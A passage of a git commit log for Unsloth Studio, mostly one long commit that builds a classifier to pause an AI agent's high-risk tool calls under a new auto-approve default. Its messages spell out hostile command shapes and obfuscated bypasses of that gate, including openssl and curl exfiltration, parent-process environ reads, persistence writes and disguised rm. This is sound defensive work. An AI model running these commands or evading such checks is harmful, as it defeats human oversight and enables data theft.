Same hole in the audio-input path, which shares the lock. - The stop-chats prompt counted generation handles, not conversations. One chat holds several while a tool continuation registers its next leg before the previous unwinds, so it offered to stop two chats and listed one title. - Ejecting a model confirms through that dialog, which told the user "Unloading the model reloads the model" and offered "Stop and reload". Confirming calls /unload and leaves nothing loaded. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: name the TTS run's thread so the stop prompt counts it once The audio branch registers its run locally under the thread key but sent no thread_id, so the backend tracker filed the same generation under no thread. The stop-chats prompt then had a named local run and an unnamed backend one and, since e8e7594 started adding unnamed entries to the named ones, counted a single TTS chat as two requests. The backend already reads payload.thread_id, so sending it lines both registries up on the same run. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>	2026-07-28 04:40:38 -07:00
Daniel Han	1255964d5a	Studio: default tool-call permission to Approve for me, prompt only on high-risk actions (#7285) ... * Default tool-call permission to Approve for me, prompting only on high-risk actions Make "auto" ("Approve for me") the product default permission mode for local tool calls, and narrow what it prompts on so ordinary development commands run without interruption. Before, an omitted permission_mode behaved as "ask" (or ran ungated on a non-streaming request), and "auto" paused on any call that was not read-only (pip install, mkdir, cp, python train.py, git commit, any redirect). Now: - Unset permission_mode normalizes to "auto" at the API boundary and in both tool loops; the Field defaults are "auto" too. An unrecognized value still falls back to the stricter "ask". - "auto" pauses only on genuinely high-risk calls via a new is_high_risk_tool_call classifier: credential/secret path access, privilege escalation (sudo/su/doas/pkexec), destructive or persistence commands (rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil (curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs. Python prompts on shell escapes, network egress, sensitive reads, and dynamically built code; ordinary in-workdir writes run. - Frontend sends permission_mode for every local chat and omits confirm_tool_calls for "auto" so the safe-only no-stream exception still applies; the picker and store describe the new behavior. The hard-block command set, code-safety static analysis, resource limits, secret-env stripping, and the per-session sandbox workdir remain in force under every mode, and "ask" is still available for users who want to confirm every call. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Keep non-streaming tool requests working under the auto default The default-permission change made an omitted permission_mode normalize to auto at the request boundary, so a non-streaming enable_tools request hit the confirm-without-stream guard and returned 400 instead of running (regression against the #6570 non-streaming tool-call contract used by non-interactive clients and health checks). Keep permission_mode unset at the request boundary (the confirm gate can only prompt while streaming, so an unset non-streaming request stays lenient and runs), while the tool loops continue to normalize an unset mode to auto for the per-call gate. Net: streaming requests default to auto and pause high-risk calls; non-streaming requests keep the prior run-without-gate behavior. * Harden the auto high-risk classifier against review-flagged bypasses Address Codex/Gemini review of the default-permission change by gating the destructive/exec cases that were reaching auto mode without a prompt: - Terminal: a non-shell interpreter running inline code (python -c, node -e, perl -E, php -r), destructive git subcommands (git clean, git reset --hard, git push --force), and a command synthesized by a command-position substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>, git commit/push, and argument-position substitutions (echo $(date)) run. - Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source= ...), import_module(name=...)) is now caught alongside the positional form. - MCP: an execution tool (run_command, execute_script, invoke_shell) is gated like a terminal call, since it runs arbitrary commands on the MCP server outside the terminal sandbox; ordinary create/list/read tools still run. The curl/wget exfil and shell eval cases the review raised are already refused by the sandbox hard-block set, so no gate change was needed there; the PR description now notes the classifier layers on top of that hard-block. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Recurse shell -c payloads and literal exec source in the high-risk gate Second review round on the auto high-risk classifier: - A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd', sh -c 'truncate -s 0 x') is now screened by recursing into the payload, bounded by depth. The sandbox hard-block only recurses for its own smaller command set, so git/truncate wrapped this way previously ran unprompted. - A literal exec/eval/compile source is screened for what it runs rather than assumed harmless: exec('import urllib...urlopen(...)') now prompts, while exec('x = 1') and a literal __import__('os') name still run. - git global options that take a value (git -C repo clean, git -c k=v clean) consume their value before the subcommand is read, so the real subcommand is judged. - The network exfil check also runs over the assignment-expanded command, so a curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths Third review round on the auto high-risk classifier: - Interpreter inline code in the attached short form (python -c'...', node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact flag token. - env -S / --split-string runs its string as a command (screened recursively) and env -C / --chdir changes the working directory (asks), so a destructive command behind env is no longer treated as a plain wrapper. - camelCase MCP tool names are split on the case boundary (runCommand -> run_Command) before the execution / sensitive-noun regexes, so camelCase execution tools are gated like snake_case ones. - A sensitive path folded across string-literal variables, os.path.join, sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded and re-checked; an unresolved fragment folds to a sentinel so a partial fold never false-positives. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Gate substitution-built shell payloads and keep explicit confirm opt-in Two auto-mode gaps from review: - A command substitution stashed in a variable and then executed dynamically (x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never appears as literal command text, so the token scan could not see the real command and git clean ran without a prompt. Fail closed when a command substitution coincides with a variable executed as a command. Ordinary substitutions captured into a value/argument (d=$(date); mkdir build_$d) still run. - An explicit confirm_tool_calls=True with no permission_mode is the pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at the request layer instead of the "auto" product default, so those callers keep per-call gating rather than only prompting on high-risk calls. A bare unset request (confirm flag not set) still defaults to auto. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads Three more auto-mode gaps from review: - An explicit confirm_tool_calls=True with no permission_mode is now resolved to "ask" regardless of the request-level tool flags, so a process-wide --enable-tools policy that forces the loop when the request sets neither enable_tools nor mcp_enabled still gates every call. Setting only the mode is inert unless the loop runs, so a passthrough request is unaffected; external-provider requests are still left untouched. - The Windows cmd.exe delete built-ins del, erase, and rd are added to the high-risk terminal set. The terminal executor runs cmd /c on Windows and these are not in the hard-block set, so del /q file.csv would otherwise run in the workdir without a prompt. - A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or a Path bound to a variable then joined) is now gated. The python high-risk folder reuses the shared _folded_path builder plus _folded_is_sensitive, which already handle the / operator, path constructors, os.path.join, str.join, f-strings, and %/.format. Relative in-workdir and unknown-base paths still run. * Gate combined -c, versioned interpreters, busybox, and sensitive chdir Four more auto-mode classifier gaps from review, plus a sandbox backstop: - Combined shell flag clusters (bash -lc, bash -xc) and the attached form (bash -c'...') now have their -c payload screened recursively; the same cluster handling closes python -Bc inline code. Previously only an exact -c matched, so bash -lc 'git clean -fd' ran without a prompt. - Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c. - busybox / toybox are treated as command wrappers, so the applet (busybox rm -rf) is judged instead of the multicall binary, which was slipping through as an unknown-but-safe command. - A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is gated: the read happens after the directory change so no single token spells out the sensitive path. Ordinary in-workdir chdirs still run. - Backstop for the /proc/<parent>/environ read: the sandbox now hardens the Unsloth process against same-UID /proc environ reads in normal sandboxed mode too, not only in bypass mode, so a classifier miss cannot recover the parent environment. Best-effort in the sandbox (the child env is already scrubbed), so a host where prctl is unavailable still runs. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Harden parent proc-env on the sandboxed python path too The previous commit hardened the Unsloth process against same-UID /proc/<parent>/environ reads on the sandboxed bash path; apply the same best-effort hardening on the sandboxed python exec path so both tools are symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the sandboxed path never hardened, to expect the backstop on both paths. * Tighten the curl/wget exfil check for attached and wget upload flags The network exec/exfil classifier missed a curl upload flag when it was attached to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on = first, and it did not cover wget's upload flags (--post-data, --post-file, --body-data, --body-file). curl short upload flags are now matched prefix-wise and wget's upload flags are checked separately, which also removes a false positive where a benign wget short option (wget -T timeout, wget -F force-html) was read as an upload. curl and wget remain hard-blocked by the sandbox regardless; this only tightens when auto mode pauses for approval. * Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps Close reachable gaps where a genuinely dangerous tool call was auto-approved without a prompt in Approve-for-me mode: - Process-launch wrappers: setsid/exec/builtin forward the command position, so screen their child (setsid git clean, exec python -c) instead of the wrapper. - Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh -Command/-EncodedCommand run inline code (not hard-blocked off Windows). - Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x). - git restore (default --worktree) and git checkout -- . / git checkout . discard tracked edits irrecoverably, same class as the already-gated git clean. - Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink, os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate. - MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL, GraphQL mutation, mutating HTTP method) still prompts; honestly-named create/update/delete MCP calls keep running. - System persistence writes: a write into /etc/profile.d, /etc/cron*, /etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a boot/login/preload hook. The sandbox keeps host-fs access, so gate these; ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run. Adds table-driven regression rows for every new prompt case and its guard-against-over-prompt counterpart. * Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads Round-two Codex hardening on the auto (Approve-for-me) classifier: - Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp at command position and openssl s_client/s_server. The sandbox has no network namespace, so tar czf - . | openssl s_client -connect host:443 was streaming the workdir without a prompt. Local openssl (dgst/enc) and a filename that merely contains a client name still run. - Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/ purge_index/revoke_token runs outside the terminal sandbox and loses data, so gate the destructive verb on the name. Non-destructive create/update/list/get still run; a substring like undelete does not match on the segment boundary. - Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}" carries no command substitution and is not resolved by assignment expansion, so it slipped the var-executed check. Fail closed when an array expansion is run as a command; a benign array print (echo "${a[@]}") is untouched. Adds regression rows for every new prompt case and its benign counterpart. * Gate user-level persistence writes in auto mode Extend the persistence-write gate from the /etc set to user-level startup and autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or ~/.config/environment.d runs on the next login/session, the same boot-hook risk but needing no root (Studio commonly runs unprivileged, so this is the more reachable vector). The sandbox does not confine absolute paths, so an append to ~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary reads still run. Adds regression rows. * Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove - curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and --request= forms) mutates or deletes a remote resource, so gate it; a plain download and GET still run. - The hard-block set blocked source but not its POSIX synonym '.', so . ./script.sh ran the file's contents past the classifier. Block '.' at command position too; a path argument (find . -type f, cd .) is unaffected. - os.remove reached through an aliased module (import os as fs; fs.remove(...)) was missed because only the literal receiver 'os' was recognized; resolve import os as ... aliases, matching the existing safety analyzer. Adds regression rows for each case and its benign counterpart. * Close three more obfuscation bypasses of the auto-mode gate and hard block - ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so both the high-risk scan and _find_blocked_commands missed it while Bash ran rm. Decode ANSI-C ($'...') before classifying, in both the terminal classifier and the blocklist; an ANSI-C string in argument position stays benign. - Process substitution executed as a script (an interpreter consuming a <(...) whose generated content is unscreenable) ran without a prompt; the prior <( check was unreachable without curl/wget. Gate a process substitution consumed by an interpreter; a non-interpreter consumer (diff over two <(sort ...)) still runs. - os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os, 'remove') bypassed the direct-attribute scan. Track assignment aliases and getattr with a literal attribute name; a bound list.remove still runs. Adds regression rows for each case and its benign counterpart. * Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners - Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl, kubectl) act through a daemon with host privileges, so a bind mount writes the real filesystem and escapes the child process workdir and rlimits entirely. Gated wholesale because the escape lives in the arguments. - MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/ escalate/impersonate) prompts on its own; a softer verb (assign/add/set/ attach/bind/put/update/create) prompts only next to a privilege noun (role, permission, policy, acl, scope, membership), so assign_issue and add_label keep running while grant_role and add_permission ask. - A flag whose value is a command the tool then executes (GNU tar --checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an argument, past both the classifier and the blocklist. Ordinary archiving runs. - An interpreter serving on the network (python -m http.server, uvicorn, gunicorn, waitress) exposes the session workdir since the sandbox keeps no network namespace. A non-server module (python -m pytest, -m pip) still runs. Adds regression rows for each case and its benign counterpart. * Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions Over-prompting fixes (auto mode was pausing on ordinary work): - The network-listener check matched a server name ANYWHERE in the command, so `pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn` prompted. Scope it to the two forms that actually listen: a module after `-m`, or a server binary at command position. - Inline-code flags were one shared set, so `python -E` (ignore env) and `python -Werror` read as eval. Resolve them per interpreter: python -c, node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r. - The curl upload scan read option letters from unrelated commands in the same line (`ls -T && echo curl`). Scope the scan to the segment whose command is actually curl/wget. Under-prompting fixes (destructive actions the narrowed gate stopped catching, each the twin of something already gated): - git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M, rm, push --delete/--mirror/--prune and the +src / :dst refspec forms. - Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks, reg, sc, launchctl. - Python: posix/nt module twins (including bare imports), os.truncate, os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the handle name so pandas DataFrame.truncate() keeps running. - MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote. - deno/bun expose inline eval as a subcommand, not a flag. - A bare redirect (`> file`, `: > file`) truncates; a redirect after a real command is an ordinary write and still runs. - A forwarded git command keeps its git context (`find -exec git clean`, `xargs git clean`), and an unquoted `cmd /c` payload spans the remainder. Adds regression rows for every case and its benign counterpart. * Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases - `if`/`while`/`until` are followed by a condition the shell runs, so a command there is at command position. `if rm -rf build; then :; fi` slipped both the classifier and the blocklist (they share the keyword set, so both are fixed). - A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not an attached payload: bash still reads the command string from the next token, so the real payload was never screened. - A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout --signal TERM, nice -n 5) had its value read as the wrapped command, so `env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`. env -C/--chdir is deliberately excluded: it is gated as a chdir already. - An annotated binding (f: object = os.remove) is the same alias as a plain assignment; only ast.Assign was collected. Adds regression rows for each case and its benign counterpart. * Fix two gate regressions and close seven more bypasses Regressions from the previous round, both caught by review: - Shell keywords were treated as separators anywhere, so `grep if rm README.md` resolved `rm` as a command and was blocked. A keyword only separates where a command may start, so gate the check on command position (all three scanners). - The wrapper option-value table was shared across wrappers, but `env -i` is valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore consumed `git` and never judged the subcommand. The table is per wrapper now. New gaps closed: - `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a `!` alias as a shell command, a plain one as `git <payload>`. - A script fed to a shell over a pipe (printf '...' | bash) or a herestring (bash <<< '...') never appears at command position. Ordinary pipes still run. - `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and then exec a nested command the wrapper hides. - A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution tool even without a verb. - `m = __import__("os")` binds the module like `import os as m`, and `getattr(__import__("os"), "remove")` reaches it inline. Declined: gating every command substitution used as a path argument (would prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>` (statically indistinguishable from the very common `git checkout <branch>`). Adds regression rows for each case and its benign counterpart. * Pin the auto-mode contract with benign and dangerous corpora The value of defaulting to "Approve for me" rests on two properties that pull in opposite directions: ordinary development work must run silently, and genuinely dangerous work must still prompt. Every denylist change risks trading one for the other, and a regression in the benign direction is easy to miss because nothing fails, the mode just starts nagging. Add two corpora that pin both directions: 62 ordinary commands, python snippets and MCP calls that must NOT prompt (package installs, builds, tests, git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that must (credential reads, destructive and persistence changes, privilege escalation, network exec and exfil, container escapes, obfuscated forms). 125 cases, currently 100 percent in both directions. * Scope four over-prompting checks and close six more gate gaps Over-prompting fixes (auto mode was pausing on ordinary work): - find/fd were marked forwarding from the command itself, so every later positional looked executable and a search whose pattern happened to equal a gated command name prompted. They only forward after an explicit -exec/-execdir/-ok flag now. - The openssl s_client check was not command-position aware, so grepping for the string in a README prompted. - An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no matter which command owned it, so printf '%s' --rsh prompted. It now requires the owning utility (tar/rsync/scp/sftp) in the same command. - A listener behind a wrapper or given by absolute path was missed instead (env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the binary at command position covers all three. New gaps closed: - git checkout <commit> <path> overwrites the file from that commit, as does --pathspec-from-file. A single positional stays ambiguous with a branch name and is still left alone. - git config alias.NAME BODY stores code git runs on the next invocation, so the body is screened like the -c form. - systemd-run launches a nested command as a transient unit. - Version-suffixed perl/ruby/php/node still run inline code with -e/-r. - A file handle bound by `with open(...) as f` is tracked for truncate, not just an assigned one. - Exceeding the shell nesting depth now fails closed, matching the docstring, instead of letting an unscreened payload through. Declined: rebinding a command name through the bash hash builtin. Like the alias/read/awk/coproc family already declined, it is deliberate self-obfuscation of an already-gated command rather than anything a model emits, and the always-on backstops cover it. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Scope two more over-prompting checks and close four gate gaps Over-prompting fixes (auto mode was pausing on ordinary work): - A recursive flag was looked for across the whole command line, so `grep -R pattern . && chmod +x build.sh` made the chmod look recursive and prompted. The flag is now scoped to the segment that owns the command. - The startup-file names were matched anywhere in the line, so `cat notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on a path boundary, while the real dotfiles still prompt. New gaps closed: - A pending wrapper option value leaked past a command separator, so the command after it was never screened (`env -u` followed by a recursive delete was missed). The pending state is cleared at every separator now. - git plumbing and maintenance that loses data: update-ref, reflog, gc, prune and history rewriting drop refs and unreachable objects, the same loss the porcelain forms already gate. - A module pulled in dynamically is screened against the same set as a static import, so a dynamically imported socket or shutil is treated alike. - MCP names that move money or ship artefacts (transfer, payout, charge, refund, wire, publish, deploy) are irreversible for the operator even though they are not destructive in the filesystem sense. Declined two items: - Gating arbitrary interpreters that can shell out (awk BEGIN blocks and friends). Consistent with the alias/read/coproc/trap family already declined here: it inverts the denylist into an allowlist and costs real ergonomics for payloads a model does not emit in normal work. - Prompting on every write outside the session workdir. Ordinary builds and scripts write to the standard temp directories constantly, so this would prompt on routine work. Persistence and credential paths are already gated specifically. * Resolve command-position globs and keep quoted data out of shell syntax - A glob at command position is expanded by bash after this scan runs, so `/bin/r[m] -rf x` was screened under a name that never executes. The always-on blocklist now resolves such a pattern against the blocked names, and the classifier asks when a command word cannot be resolved at all. The test builtins are excluded, and a pattern carrying no literal character resolves to nothing in particular. - A dollar-quoted word expands to a single word, so a newline inside it is data rather than a separator. Decoding it before tokenization made `printf '%s'` with multiline data read as two commands and the call was refused outright. The decoded text can no longer introduce shell syntax, while an escape-obfuscated command name still resolves. - An attribute name assembled from literals is folded before it is screened, so a deletion spelled as a concatenation is treated like the plain form. A name on a filesystem module that cannot be folded at all fails closed, since there is nothing left to screen. - An MCP name with no separators never reached the segment boundaries, so a server-side execution tool was classified as ordinary even though the previous classifier failed closed on it. The verb and object compounds are matched directly now, while a name that merely starts with those letters is left alone. Also narrowing a verb pair added in the previous commit: subscribing to a topic is not a billing subscription, and pub/sub tools should not prompt. * Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes - fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=), and that spelling was stripped and discarded without ever being screened. The value is treated as command position now, in the classifier and in the always-on blocklist. Only the long spellings are read this way: a short -x belongs to too many other utilities for its neighbour to be a command. - The openssl socket check was anchored at command position, so a wrapper in front of it (env, timeout) hid the very thing it was meant to catch. The subcommand is checked on the resolved command segment now, so the wrapped and absolute forms are covered. Local openssl (dgst, enc) still runs. - php runs code from -B, -R and -E as well as -r, which are begin, per-line and end blocks. Only -r was listed, so the other three ran inline programs unscreened. - git worktree remove --force deletes a linked worktree even when it holds uncommitted work or is locked, but only the first-level subcommand was read so the nested action was invisible. An unforced remove refuses on a dirty worktree and stays out, matching how the checkout and switch discard flags are handled. - sysctl -w, --system and -p change kernel parameters, and the assignment form writes without needing a flag. A read-only query stays automatic. * Fail closed on unscreenable MCP names, alias bodies and stored lookups - An MCP name whose verb this classifier does not recognise now asks. MCP tools run on an external server, outside the terminal sandbox and every backstop under it, and their names are an open vocabulary rather than the finite set of POSIX utilities, so the denylists could never be complete: a name built from an unfamiliar verb sailed through as ordinary. A generous read and write vocabulary keeps the everyday tools running, and the reverse or repeat of a recognised verb (undelete, reopen, resend) counts as recognised too. Measured against thirty tool names taken from the common servers, one still prompts, and that one is the pre-existing execution rule rather than this one. - A shell alias body is a command bash runs when the alias is invoked, so it is screened as a command in its own right, in the classifier and in the always-on blocklist. This is the same shape as a git alias body, which was already handled; leaving the shell form out was inconsistent. - git --config-env=<key>=<envvar> takes its value from the environment, so an alias key stores code that never appears in the command text at all. The attached form was skipped entirely because the parser required no equals sign. An alias key gates it now; ordinary keys are untouched. - A destructive lookup stored before it is called (a name bound to getattr(os, "remove")) matched neither the direct call shape nor the alias collection, so it ran. The binding is tracked now. - A credential basename only names a file when it appears in a string, but the whole Python source was being scanned, so `credentials = {}`, a function called load_credentials and even a comment mentioning credentials all prompted while performing no I/O. The check applies to string literals now, with the raw scan kept for source that does not parse. * Split git short-option clusters and close five more gate gaps - Git combines short options, so `git push -qf`, `git checkout -qf` and `git branch -qD` never matched the exact-string flag sets and ran without a prompt. Clusters are split before the destructive flags are checked. Also adds the short `-f` spelling to the branch set, which moves a ref and can abandon its commits. - `getent shadow` and `getent gshadow` return password hashes straight from NSS, so the read never spells out a path for the sensitive-path check to find. The database name is gated instead; ordinary lookups (hosts, passwd) still run. - The account-management set covered useradd and usermod but not adduser, deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so `gpasswd -a user sudo` granted group membership silently. - at and batch hand a payload to atd, which runs it later as this user and outside this invocation's blocklist, resource limits, timeout and cancellation. They belong with crontab. - A command word bash builds without the NAME=value form (printf -v, read) left nothing at command position to screen. A bare variable executed as a command that assignment expansion could not resolve now fails closed. A variable used as a path prefix is deliberately excluded: ${VENV}/bin/python still leaves a literal basename the scan can read. * Stop prompting on six inspection shapes and close eighteen gate gaps Over-prompting fixes, which matter most here since not interrupting ordinary work is the point of the change: - `git clean -n` and `--dry-run` list what would be removed and remove nothing, so they are inspection commands. The subcommand was gated regardless of its flags; a dry run is now recognised in the same segment. - The listener check matched a module name anywhere in the line, so `echo 'python -m http.server'` and grepping for it prompted. It is anchored at command position now, like the server-binary check beside it. - An MCP name that reads names its SUBJECT, not the action: `get_release`, `get_invoice`, `search_code` and `get_code` were prompting because the impact and runtime-noun patterns fired on the noun. A read verb now suppresses both, while an execution verb still wins. - Free text is not a statement. An issue body or chat message that mentions DELETE FROM, a credential file or a path was read as an action. Statements are taken from the query-bearing argument names, and paths are skipped only for the prose names, since a path can be carried under any other name. - curl and wget presence was decided by substring, so `grep curl notes.txt && wget -T 5 ...` lent curl's option letters to wget. Gaps closed: - git checkout-index -f overwrites the working tree from the index; git tag -d and -f delete or replace a ref; git switch -C and checkout -B reset an existing branch the way branch -f does. - Ending a process (kill, pkill, killall, taskkill, tskill) or the machine (shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill equivalent already prompted. setcap grants file capabilities without sudo. - A network client behind a wrapper (env curl -T) was missed because the client check ran before the wrapper was resolved. slogin is a standard ssh alias and was in neither set. wget spells the request method --method=DELETE. - A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a child, so the real command sat in argument position behind it. - A redirection may precede the command word, so `</dev/null` hid what followed from both scanners. `exec -a NAME cmd` puts a name where the command goes, and the Windows `if exist FILE cmd` form puts an operand there. - In Python: a walrus binds a module or a callee just like an assignment, builtins.__import__ is the attribute form of __import__, and psutil ends a process exactly as os.kill does. The psutil check is keyed on the import so an unrelated .kill() on a user object keeps running. - Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key, Cookie) goes out whatever its value looks like; collaborator and team-member grants are access changes like the role verbs; and a recurring subscription bills repeatedly. * Bound the classifier's input and stop prompting on four more ordinary shapes Found by simulating the whole corpus against pre-PR main on Linux, macOS and Windows tokenizers and diffing the two, then feeding the classifier adversarial input. Robustness: - The credential-path pattern backtracks superlinearly, so a long argument made a single classification take seconds. Measured on main as well as here, so it predates this change, but this change makes the auto gate the default and so runs it on every call. Text far past any real path, and a command far past any real command, now fail closed: they ask rather than spending unbounded time deciding. Worst case over the adversarial set drops from a hang to 13 ms. Over-prompting fixes: - A container CLI reading its own state (docker ps, docker images, docker logs, kubectl get) is inspection. The whole CLI was gated because the escape lives in the arguments of run/exec, so the read subcommands were caught with it. An unrecognised subcommand still asks, so the list can only be too small. - A python payload is screened with the same analyzer the python tool uses, so `python -c 'import torch; print(torch.__version__)'` runs while a destructive one-liner still asks. A payload that does not parse fails closed, since shell quoting may have mangled it. The other runtimes have no analyzer here and stay gated. - An assignment with no command after it runs nothing: every terminal call gets its own shell process, so `export PATH=...` on its own dies with that process. Verified against real bash rather than assumed. - For the search paths other than PATH (PYTHONPATH and friends), a relative entry points inside the session workdir, which is the agent's own directory, so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real module and still asks. PATH itself counts for every value, because a relative entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls). Net effect on the probe corpus, identical on all three platforms: ordinary and inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of 99, and the always-on hard-block set loses nothing and gains six entries. * Tighten the permission-mode comments Comment-only pass over the code this branch added. Every explanation is collapsed to the fewest lines that still read clearly, redundant restatements of the code are dropped, and a handful of blocks that had drifted away from the constant or branch they describe are moved back next to it. The non-obvious behaviours keep their note, just shorter: an unforced `git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an empty attached value rather than None, `.` being the POSIX synonym for `source`, prose keys being skipped rather than path keys allowlisted, and the route keeping an unset mode lenient so non-streaming clients still work. No code, string literal or test expectation changed. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Gate the navigation sinks reached by bracket access The canvas egress check gated location.assign / location.replace and an assignment to location.href, and it already handled bracket access for the fetch family, but not for the navigation sinks. So `location['assign'](url)` and `location['href'] = url` auto-ran and could navigate the preview frame to an attacker URL with the page contents appended, which is the same egress the dot forms already gate. Both bracket forms are covered now, including a fully bracketed host (`window['location']['href']`). The names are anchored to location so ordinary bracket keys stay static: a string's own `['replace']`, an object's `['href']`, and reading `location['href']` all still run without a prompt. * Gate seven more ways a command reaches the shell in auto mode git submodule foreach runs its argument in every submodule, so the payload is a command in its own right; it now recurses through the terminal classifier and through the hard-block scan. An awk program can shell out with system() or by piping to "sh", so the program text is screened for those two shapes while ordinary field work (awk '{print $1}') keeps running. setpriv changes privilege and then execs what follows, so it is transparent to the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags (--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate punches, zeroes or collapses a range in place, which destroys file contents, so those flags prompt while plain allocation (-l SIZE) does not. vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way getattr does, so the module namespace dict is screened with the same key rules, anchored to a filesystem module so an ordinary d["remove"] stays out. Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears down the environment the backend itself runs in; installing into it does not, and stays automatic. The listener check was anchored at command position, so a wrapper in front of it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The module after -m is now resolved at the token level, after wrapper resolution. Adds 54 rows to the classifier tables covering both directions. --------- Co-authored-by: danielhanchen <unslothshared@gmail.com> Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: danielhanchen <unslothai@gmail.com>	2026-07-26 17:07:31 -07:00
oobabooga	aefeb5821d	Studio: recover tool-enabled GGUF chats after llama-server exits (#7424) ... * Fix GGUF tool chat server recovery * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Cover MTP precedence and loosen the replay assertion for PR #7424 Add a regression test for the MTP branch of the tool-loop respawn retry: the file-wide _make_backend stub forces _maybe_recover_from_mtp_crash to False, so nothing exercised the case where an MTP crash reload is already claimed and an ordinary same-config respawn must not run on top of it. Cover both the next tool-loop request and the final synthesis pass. Replace the whole-payload equality assertions with a field-wise check. Comparing the full dict pins max_tokens to the value derived from the dead server's effective context, so a later fix that rebuilds server-derived defaults after a respawn would read as a test failure rather than an improvement. Document that the one-retry budget is per model request, not per chat turn. * Recover from prefill-time deaths and stop respawn racing the MTP reload Two gaps in the tool-loop respawn retry, both reproduced before fixing. A child that exits during prefill has already accepted the socket, so httpx raises ReadError, WriteError or RemoteProtocolError rather than ConnectError. Those all arrive before the response opens, which is exactly the window where a replay is safe, but the helper only caught ConnectError and gave up. Widen the catch to 